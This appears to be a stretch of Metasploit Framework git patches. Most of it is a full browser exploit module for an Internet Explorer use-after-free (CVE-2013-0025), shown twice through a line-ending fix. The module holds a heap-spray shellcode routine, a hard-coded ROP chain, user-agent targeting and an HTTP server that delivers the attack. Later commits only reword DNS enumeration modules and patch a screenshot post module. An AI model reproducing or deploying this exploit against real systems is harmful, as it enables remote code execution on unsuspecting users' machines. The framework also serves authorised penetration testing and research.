b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb new file mode 100644 index 0000000000..00e4e61d04 --- /dev/null +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -0,0 +1,238 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Bell ', # Vulnerability discovery & Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0025' ], + [ 'MSB', 'MS13-009' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + js = %Q| + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_nops = [0x77c39f92].pack("V") * 11 # RETN + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload << rop_nops + rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN + rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN + rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN + rop_payload << [0x77c39f92].pack("V") # RETN + rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset + rop_payload << code + + end + + return rop_payload + end + + def this_resource + r = get_resource + return ( r == '/') ? '' : r + end + + def get_exploit(my_target, cli) + p = get_payload(my_target, cli) + js = heap_spray(my_target, p) + + + html = %Q| + + + + + + +

+ + + | + + return html + end + + + def get_iframe + html = %Q| + + + + + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + if uri =~ /#{@iframe_name}/ + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + elsif uri=~ /\/$/ + html = get_iframe + print_status "Sending IFRAME..." + end + send_response(cli, html, {'Content-Type'=>'text/html'}) + + + end + + def exploit + @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" + super + end +end From 4c90cacffe493e951902fec38770ac382e428ba8 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:23:08 -0600 Subject: [PATCH 230/448] Send iframe when URIPATH isnt '/' --- modules/exploits/windows/browser/ie_slayoutrun_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index 00e4e61d04..125c9d3ae3 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -222,7 +222,7 @@ class Metasploit3 < Msf::Exploit::Remote html = get_exploit(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") - elsif uri=~ /\/$/ + else html = get_iframe print_status "Sending IFRAME..." end From ade2c9ef56d5185d6e3e01175f9f5a9f238b351a Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:42:02 -0600 Subject: [PATCH 231/448] msftidy - fix line endings. --- .../windows/browser/ie_slayoutrun_uaf.rb | 476 +++++++++--------- 1 file changed, 238 insertions(+), 238 deletions(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index 125c9d3ae3..a0f8e93dcb 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -1,238 +1,238 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb - - - def initialize(info={}) - super(update_info(info, - 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", - 'Description' => %q{ - This module exploits a use-after-free vulnerability in Microsoft Internet Explorer - where a CParaElement node is released but a reference is still kept - in CDoc. This memory is reused when a CDoc relayout is performed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Scott Bell ', # Vulnerability discovery & Metasploit module - ], - 'References' => - [ - [ 'CVE', '2013-0025' ], - [ 'MSB', 'MS13-009' ], - [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], - ], - 'Payload' => - { - 'BadChars' => "\x00", - 'Space' => 1024, - 'DisableNops' => true, - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", - }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] - ], - 'Privileged' => false, - 'DisclosureDate' => "Feb 13 2013", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) - - end - - def get_target(agent) - #If the user is already specified by the user, we'll just use that - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - print_status("Target selected as: #{t.name}") - return t - end - end - - return nil - end - - def heap_spray(my_target, p) - js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) - - js = %Q| - - var heap_obj = new heapLib.ie(0x20000); - var code = unescape("#{js_code}"); - var nops = unescape("#{js_nops}"); - while (nops.length < 0x80000) nops += nops; - var offset = nops.substring(0, #{my_target['Offset']}); - var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); - while (shellcode.length < 0x40000) shellcode += shellcode; - var block = shellcode.substring(0, (0x80000-6)/2); - heap_obj.gc(); - for (var i=1; i < 0x300; i++) { - heap_obj.alloc(block); - } - var overflow = nops.substring(0, 10); - - | - - js = heaplib(js, {:noobfu => true}) - - if datastore['OBFUSCATE'] - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate - - end - - return js - end - - def get_payload(t, cli) - code = payload.encoded - - # No rop. Just return the payload. - return code if t['Rop'].nil? - - # ROP chain generated by mona.py - See corelan.be - case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_nops = [0x77c39f92].pack("V") * 11 # RETN - rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) - rop_payload << rop_nops - rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN - rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN - rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN - rop_payload << [0x77c39f92].pack("V") # RETN - rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset - rop_payload << code - - end - - return rop_payload - end - - def this_resource - r = get_resource - return ( r == '/') ? '' : r - end - - def get_exploit(my_target, cli) - p = get_payload(my_target, cli) - js = heap_spray(my_target, p) - - - html = %Q| - - - - - - -

- - - | - - return html - end - - - def get_iframe - html = %Q| - - - - - - | - - return html - end - - - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - uri = request.uri - print_status("Requesting: #{uri}") - - my_target = get_target(agent) - # Avoid the attack if no suitable target found - if my_target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end - - if uri =~ /#{@iframe_name}/ - html = get_exploit(my_target, cli) - html = html.gsub(/^\t\t/, '') - print_status("Sending HTML...") - else - html = get_iframe - print_status "Sending IFRAME..." - end - send_response(cli, html, {'Content-Type'=>'text/html'}) - - - end - - def exploit - @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" - super - end -end +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Bell ', # Vulnerability discovery & Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0025' ], + [ 'MSB', 'MS13-009' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + js = %Q| + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_nops = [0x77c39f92].pack("V") * 11 # RETN + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload << rop_nops + rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN + rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN + rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN + rop_payload << [0x77c39f92].pack("V") # RETN + rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset + rop_payload << code + + end + + return rop_payload + end + + def this_resource + r = get_resource + return ( r == '/') ? '' : r + end + + def get_exploit(my_target, cli) + p = get_payload(my_target, cli) + js = heap_spray(my_target, p) + + + html = %Q| + + + + + + +

+ + + | + + return html + end + + + def get_iframe + html = %Q| + + + + + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + if uri =~ /#{@iframe_name}/ + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + else + html = get_iframe + print_status "Sending IFRAME..." + end + send_response(cli, html, {'Content-Type'=>'text/html'}) + + + end + + def exploit + @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html" + super + end +end From e8ccfae048f93948164bbc4d279397f502feaa8c Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:38:17 -0400 Subject: [PATCH 232/448] Fix spelling problems --- modules/auxiliary/gather/dns_srv.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index 71f95c161d..eac4bbe214 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Reverse Lookup', 'Description' => %q{ - This module enumerates common DNS Service Records. + The module enumerates common DNS Service Records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -24,14 +24,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('DOMAIN', [ true, "The target domain name"]), - OptBool.new( 'ALL_NS', [ false, "Run against all Nameservers for the given domain",false]), + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 3]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 4]), + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 3]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 4]), ], self.class) end From 1872b137f5be2515dfe759a93d82934ed3e6aae7 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:41:17 -0400 Subject: [PATCH 233/448] Fix spelling problems --- modules/auxiliary/gather/dns_info.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index a6f0ff2b80..fd11a82a71 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Base Information', 'Description' => %q{ - This module enumerates basic DNS information for a given Domain. Information - enumerated is A, AAAA, NS and MX Records for the given domain. + The module enumerates basic DNS information for a given domain. Information + enumerated is A, AAAA, NS and MX records for the given domain. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -26,14 +26,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system configured DNS Server is used." ]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), ], self.class) end @@ -98,9 +98,9 @@ class Metasploit3 < Msf::Auxiliary rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") if query.answer.length != 0 - print_status("This Domain has Wildcards Enabled!!") + print_status("This Domain has Wild-cards Enabled!!") query.answer.each do |rr| - print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME report_note(:host => datastore['DOMAIN'], :proto => 'UDP', :port => 53, @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From 7f97ff271f9ffafb691d820b21ac2af9a7dcc7d3 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:44:32 -0400 Subject: [PATCH 234/448] Fix spelling problems --- modules/auxiliary/gather/dns_bruteforce.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 070c32f0cc..99a5e30434 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Name' => 'DNS host and subdomain brutefoce module', 'Description' => %q{ - This module uses a dictionary to perform a bruteforce on Hostnames and Subdomains + The module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), OptInt.new('THREADS', [ false, "Number of threads", 1]), ], self.class) end @@ -55,9 +55,9 @@ class Metasploit3 < Msf::Auxiliary rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") if query.answer.length != 0 - print_status("This Domain has Wildcards Enabled!!") + print_status("This Domain has wild-cards enabled!!") query.answer.each do |rr| - print_warning("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_warning("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME end return true else @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From a7d4f5ff4ad184a003856cffacc7b968018a64e5 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:46:36 -0400 Subject: [PATCH 235/448] Fix spelling problems --- modules/auxiliary/gather/dns_reverse_lookup.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index cc102b9235..28019c7332 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup', + 'Name' => 'DNS reverse lookup', 'Description' => %q{ - This module performs a Reverse Lookup against a given IP Range. + The module performs a reverse rookup against a given IP range. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -24,16 +24,16 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptAddressRange.new('RANGE', [true, 'IP Range to perform reverse lookup against.', nil]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.', nil]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), - OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry.", 2]), ], self.class) end @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary #------------------------------------------------------------------------------- def reverselkp(iprange) - print_status("Running Reverse Lookup against ip range #{iprange}") + print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) tl = [] while (true) @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def switchdns() - print_status("Using DNS Server: #{datastore['NS']}") + print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end From 23320a5ddebd352937299b3b901886b6ee84966e Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 15:48:11 -0400 Subject: [PATCH 236/448] Fix spelling problems --- modules/auxiliary/gather/dns_srv.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index eac4bbe214..b2eeb30287 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup', + 'Name' => 'DNS service record lookup', 'Description' => %q{ - The module enumerates common DNS Service Records. + The module enumerates common DNS service records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 8a91f0d7ecc48ece4cfd3154972ec44ef4884ecb Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Thu, 14 Feb 2013 14:04:45 -0600 Subject: [PATCH 237/448] rescue ENOENT as well --- modules/post/windows/gather/screen_spy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 7e03e2440e..5f1e1eb505 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Post end system(cmd) if cmd end - rescue IOError => e + rescue IOError, Errno::ENOENT => e print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end From 0b9d4d976fab6595cbf1381a8f3ef577a001944a Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:44:31 -0400 Subject: [PATCH 238/448] more changes to description and name --- modules/auxiliary/gather/dns_srv.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index b2eeb30287..a80e864b20 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS service record lookup', + 'Name' => 'DNS Common Service Record Enumeration', 'Description' => %q{ - The module enumerates common DNS service records. + This module enumerates common DNS service records. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 1b8610042ad48b29098de6aa6ccfb73e8d46408b Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:46:21 -0400 Subject: [PATCH 239/448] more changes to description and name --- modules/auxiliary/gather/dns_info.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index fd11a82a71..c036b2a95e 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Base Information', + 'Name' => 'DNS Basic Information', 'Description' => %q{ - The module enumerates basic DNS information for a given domain. Information + This module enumerates basic DNS information for a given domain. Information enumerated is A, AAAA, NS and MX records for the given domain. }, 'Author' => [ 'Carlos Perez ' ], From faf970cf1f4694483b0dabdcaaf7412ba97a9834 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:47:43 -0400 Subject: [PATCH 240/448] more changes to description and name --- modules/auxiliary/gather/dns_bruteforce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 99a5e30434..2372c93bbc 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS host and subdomain brutefoce module', + 'Name' => 'DNS Host and Subdomain Brutefoce Module', 'Description' => %q{ - The module uses a dictionary to perform a bruteforce on hostnames and subdomains + This module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], From 7f7b4e5a97cfcd280ce130bc0862d4be57d85e65 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:49:57 -0400 Subject: [PATCH 241/448] more changes to description and name --- modules/auxiliary/gather/dns_reverse_lookup.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 28019c7332..54de8d81bc 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS reverse 